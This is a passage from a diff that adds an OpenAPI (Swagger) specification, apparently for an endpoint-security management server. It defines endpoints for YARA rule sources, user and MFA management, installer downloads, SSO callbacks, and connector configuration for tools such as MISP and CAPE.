+          required: false
+          type: number
+        - in: query
+          name: rule_experimental_count
+          required: false
+          type: number
+        - enum:
+            - moderate
+            - strong
+            - weak
+          in: query
+          name: rule_confidence_default
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_YaraSourceRulesetPagination'
+      tags:
+        - threat Intelligence
+    parameters:
+      - in: path
+        name: ruleset_id
+        required: true
+        type: string
+  /data/threat_intelligence/YaraSource/{id}/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - threat Intelligence
+    get:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraSource'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this yara source.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/YaraSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraSource'
+      tags:
+        - threat Intelligence
+    put:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/YaraSource'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/YaraSource'
+      tags:
+        - threat Intelligence
+  /data/threat_intelligence/YaraSource/{id}/items/:
+    delete:
+      description: ""
+      operationId: data_threat_intelligence_YaraSource_items
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DeleteSourceItemsBody'
+      tags:
+        - threat Intelligence
+    parameters:
+      - description: A unique value identifying this yara source.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/user/:
+    get:
+      description: ""
+      operationId: data_user_list
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: username
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_login
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: groups__role__uuid
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          name: roles.name
+          required: false
+          type: string
+        - in: query
+          name: role_count
+          required: false
+          type: number
+        - in: query
+          name: tfa_is_activate
+          required: false
+          type: boolean
+        - in: query
+          name: hluser.created_by_sso
+          required: false
+          type: boolean
+        - in: query
+          name: is_active
+          required: false
+          type: boolean
+      responses:
+        "200":
+          description: ""
+          schema:
+            properties:
+              count:
+                type: integer
+              next:
+                format: uri
+                type: string
+                x-nullable: true
+              previous:
+                format: uri
+                type: string
+                x-nullable: true
+              results:
+                items:
+                  $ref: '#/definitions/HlUserSerializer'
+                type: array
+            required:
+              - count
+              - results
+            type: object
+      tags:
+        - user
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      responses:
+        "201":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      tags:
+        - user
+  /data/user/deactivate_mfa/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_deactivate_mfa
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UsersList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - user
+  /data/user/delete_users/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_delete_users
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/UsersList'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - user
+  /data/user/password_security/:
+    get:
+      description: ""
+      operationId: data_user_password_security
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: username
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_login
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: groups__role__uuid
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurityConfig'
+      tags:
+        - user
+    parameters: []
+  /data/user/reset_password/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_reset_password
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ResetPassword'
+      responses:
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordValidationError'
+      tags:
+        - user
+  /data/user/set_mfa/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_set_mfa
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/MFAEnableByUser'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - user
+  /data/user/test_password/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_test_password
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/TestPassword'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordValidationError'
+      tags:
+        - user
+  /data/user/toggle_active_state/:
+    parameters: []
+    post:
+      description: ""
+      operationId: data_user_toggle_active_state
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ActiveUserbyIDs'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseStatus'
+      tags:
+        - user
+  /data/user/verify_token/:
+    get:
+      description: ""
+      operationId: data_user_verify_token
+      parameters:
+        - description: A search term.
+          in: query
+          name: search
+          required: false
+          type: string
+        - description: Which field to use when ordering the results.
+          in: query
+          name: ordering
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: username
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: last_login
+          required: false
+          type: string
+        - description: ""
+          in: query
+          name: groups__role__uuid
+          required: false
+          type: string
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - description: Password reset token to verify
+          in: query
+          name: token
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/VerifyResetTokenResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/VerifyResetTokenResponse'
+      tags:
+        - user
+    parameters: []
+  /data/user/{id}/:
+    delete:
+      description: ""
+      operationId: data_user_delete
+      parameters: []
+      responses:
+        "204":
+          description: ""
+      tags:
+        - user
+    get:
+      description: ""
+      operationId: data_user_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      tags:
+        - user
+    parameters:
+      - description: A unique integer value identifying this user.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_user_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      tags:
+        - user
+    put:
+      description: ""
+      operationId: data_user_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      tags:
+        - user
+  /data/user/{id}/api_token/:
+    parameters:
+      - description: A unique integer value identifying this user.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: Recreate a new API token, for the user passing in parameter of the request.
+      operationId: data_user_api_token
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RequestToken'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseToken'
+      tags:
+        - user
+  /data/user/{id}/password/:
+    parameters:
+      - description: A unique integer value identifying this user.
+        in: path
+        name: id
+        required: true
+        type: string
+    patch:
+      description: ""
+      operationId: data_user_password
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Password'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Password'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordValidationError'
+      tags:
+        - user
+  /data/user/{id}/profile/:
+    get:
+      description: ""
+      operationId: data_user_profile
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      tags:
+        - user
+    parameters:
+      - description: A unique integer value identifying this user.
+        in: path
+        name: id
+        required: true
+        type: string
+  /data/user/{id}/reset_password_link/:
+    parameters:
+      - description: A unique integer value identifying this user.
+        in: path
+        name: id
+        required: true
+        type: string
+    post:
+      description: ""
+      operationId: data_user_reset_password_link
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ResetPasswordLinkRequest'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResetPasswordLinkResponse'
+        "400":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResetPasswordLinkResponse'
+      tags:
+        - user
+  /feature_flags/:
+    get:
+      description: ""
+      operationId: feature_flags_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/FeatureFlags'
+      tags:
+        - feature_flags
+    parameters: []
+  /installer/:
+    get:
+      deprecated: true
+      description: ""
+      operationId: installer_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/LegacyInstallerInfo'
+      tags:
+        - administration
+    parameters: []
+  /installer/availability/:
+    get:
+      description: ""
+      operationId: installer_availability_list
+      parameters:
+        - in: query
+          minLength: 1
+          name: version
+          required: true
+          type: string
+        - enum:
+            - x86
+            - x86_64
+          in: query
+          name: arch
+          required: false
+          type: string
+        - enum:
+            - deb
+            - elf
+            - msi
+            - pkg
+            - rpm
+          in: query
+          name: filetype
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/DownloadInstallerAvailability'
+      tags:
+        - administration
+    parameters: []
+  /installer/cdn-download/:
+    get:
+      description: ""
+      operationId: installer_cdn-download_list
+      parameters:
+        - in: query
+          minLength: 1
+          name: version
+          required: true
+          type: string
+        - enum:
+            - x86
+            - x86_64
+          in: query
+          name: arch
+          required: false
+          type: string
+        - enum:
+            - deb
+            - elf
+            - msi
+            - pkg
+            - rpm
+          in: query
+          name: filetype
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CDNDownload'
+      tags:
+        - administration
+    parameters: []
+  /installer/cdn-download/status:
+    get:
+      description: ""
+      operationId: installer_cdn-download_status_list
+      parameters:
+        - in: query
+          minLength: 1
+          name: version
+          required: true
+          type: string
+        - enum:
+            - x86
+            - x86_64
+          in: query
+          name: arch
+          required: false
+          type: string
+        - enum:
+            - deb
+            - elf
+            - msi
+            - pkg
+            - rpm
+          in: query
+          name: filetype
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/CDNDownload'
+      tags:
+        - administration
+    parameters: []
+  /installer/download/:
+    get:
+      description: ""
+      operationId: installer_download_list
+      parameters:
+        - description: Number of results to return per page.
+          in: query
+          name: limit
+          required: false
+          type: integer
+        - description: The initial index from which to return the results.
+          in: query
+          name: offset
+          required: false
+          type: integer
+        - in: query
+          minLength: 1
+          name: version
+          required: true
+          type: string
+        - enum:
+            - x86
+            - x86_64
+          in: query
+          name: arch
+          required: false
+          type: string
+        - enum:
+            - deb
+            - elf
+            - msi
+            - pkg
+            - rpm
+          in: query
+          name: filetype
+          required: true
+          type: string
+      responses:
+        "200":
+          description: ""
+      tags:
+        - administration
+    parameters: []
+  /installer/parameters/:
+    get:
+      description: ""
+      operationId: installer_parameters_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Installer'
+      tags:
+        - administration
+    parameters: []
+  /misc/disassemble/:
+    parameters: []
+    post:
+      description: POST HTTP method, return a list of disassembly from dump.
+      operationId: misc_disassemble_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/_DisassembleParams'
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/_Disassembly'
+            type: array
+      tags:
+        - misc
+  /misc/generate_passwords/:
+    get:
+      description: GET HTTP method, return a list of randomly generated passwords.
+      operationId: misc_generate_passwords_list
+      parameters:
+        - default: 20
+          in: query
+          minimum: 8
+          name: length
+          required: false
+          type: integer
+        - default: 1
+          in: query
+          minimum: 1
+          name: number
+          required: false
+          type: integer
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_GeneratedPasswords'
+      tags:
+        - misc
+    parameters: []
+  /monitoring_alerts/:
+    get:
+      description: ""
+      operationId: monitoring_alerts_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_MonitoringAlerts'
+      tags:
+        - monitoring_alerts
+    parameters: []
+  /news/highlight_features/:
+    get:
+      description: ""
+      operationId: news_highlight_features_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            items:
+              $ref: '#/definitions/HighlightFeature'
+            type: array
+      tags:
+        - news
+    parameters: []
+  /news/maintenance_notice/:
+    get:
+      description: Endpoint allowing any authenticated user to retrieve the current maintenance notice
+      operationId: news_maintenance_notice_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMaintenanceNotice'
+      tags:
+        - news
+    parameters: []
+  /sso/oidc/{slug}/callback:
+    get:
+      description: ""
+      operationId: sso_oidc_callback_list
+      parameters:
+        - in: query
+          name: state
+          required: true
+          type: string
+        - in: query
+          name: code
+          required: true
+          type: string
+        - in: query
+          name: error
+          required: false
+          type: string
+        - in: query
+          name: error_description
+          required: false
+          type: string
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Token'
+        "400":
+          description: Bad Request
+          examples:
+            application/json:
+              detail: Invalid OAuth client, please check your configuration.
+        "403":
+          description: Forbidden
+          examples:
+            application/json:
+              detail: Token mismatch.
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Someone tried to request OIDC SSO callback endpoint without a slug.
+        "500":
+          description: Server Error
+          examples:
+            application/json:
+              error: Something went wrong during authentication with provider.
+      tags:
+        - sso
+    parameters:
+      - in: path
+        name: slug
+        required: true
+        type: string
+  /sso/oidc/{slug}/login:
+    get:
+      description: ""
+      operationId: sso_oidc_login_list
+      parameters: []
+      responses:
+        "302":
+          description: This endpoint is redirecting user to the provider
+        "404":
+          description: Not found
+          examples:
+            application/json:
+              detail: Someone tried to request OIDC SSO login enpoint without a slug.
+        "500":
+          description: Server Error
+          examples:
+            application/json:
+              error: Something went wrong when login with provider.
+      tags:
+        - sso
+    parameters:
+      - in: path
+        name: slug
+        required: true
+        type: string
+  /status/:
+    get:
+      description: ""
+      operationId: status_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_Status'
+      tags:
+        - information
+    parameters: []
+  /supervisor_config/:
+    get:
+      description: ""
+      operationId: supervisor_config_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AllConfig'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/agent_cleaning/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_agent_cleaning_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_agent_cleaning_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/agent_cleaning/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_agent_cleaning_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/alerter_ioc/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_alerter_ioc_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_alerter_ioc_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/alerter_ioc/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_alerter_ioc_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/assemblyline/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_assemblyline_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_assemblyline_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAssemblyline'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/assemblyline/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_assemblyline_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/assemblyline/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_assemblyline_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAssemblyline'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/binaries_retention/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_binaries_retention_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_binaries_retention_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/binaries_retention/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_binaries_retention_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/cape/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_cape_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_cape_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditCape'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/cape/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_cape_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/cape/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_cape_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditCape'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/collector/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_collector_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_collector_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Collector'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/collector/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_collector_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/connector_misp/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_connector_misp_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_connector_misp_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditMisp'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/connector_misp/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_connector_misp_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/connector_misp/errors/:
+    get:
+      description: Get individual attribute errors as CSV
+      operationId: supervisor_config_connector_misp_errors
+      parameters: []
+      responses:
+        "200":
+          description: individual attribute errors of the MISP connector, as CSV
+        "404":
+          description: attribute errors of the MISP connector not found
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/connector_misp/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_connector_misp_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditMisp'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/customization/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_customization_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_customization_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Customization'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/customization/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_customization_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/download/:
+    get:
+      consumes:
+        - application/json
+        - application/yaml
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+
+        or its YAML equivalent.
+      operationId: supervisor_config_download_list
+      parameters: []
+      produces:
+        - application/json
+        - application/yaml
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+      summary: Download config in JSON or YAML format
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Configuration field not present in the request are left untouched.
+      operationId: supervisor_config_download_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+      produces:
+        - application/json
+        - application/yaml
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+        "400":
+          description: Bad request
+      summary: Update the stored configuration with the given one.
+      tags:
+        - supervisor_configuration
+    put:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Existing configuration is completely deleted before being replaced.
+      operationId: supervisor_config_download_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+      produces:
+        - application/json
+        - application/yaml
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ConfigDownload'
+        "400":
+          description: Bad request
+      summary: Replace the stored configuration with the given one.
+      tags:
+        - supervisor_configuration
+  /supervisor_config/downloader/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_downloader_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_downloader_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Downloader'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/downloader/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_downloader_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/es_ilm_indices__policies/:
+    get:
+      description: |-
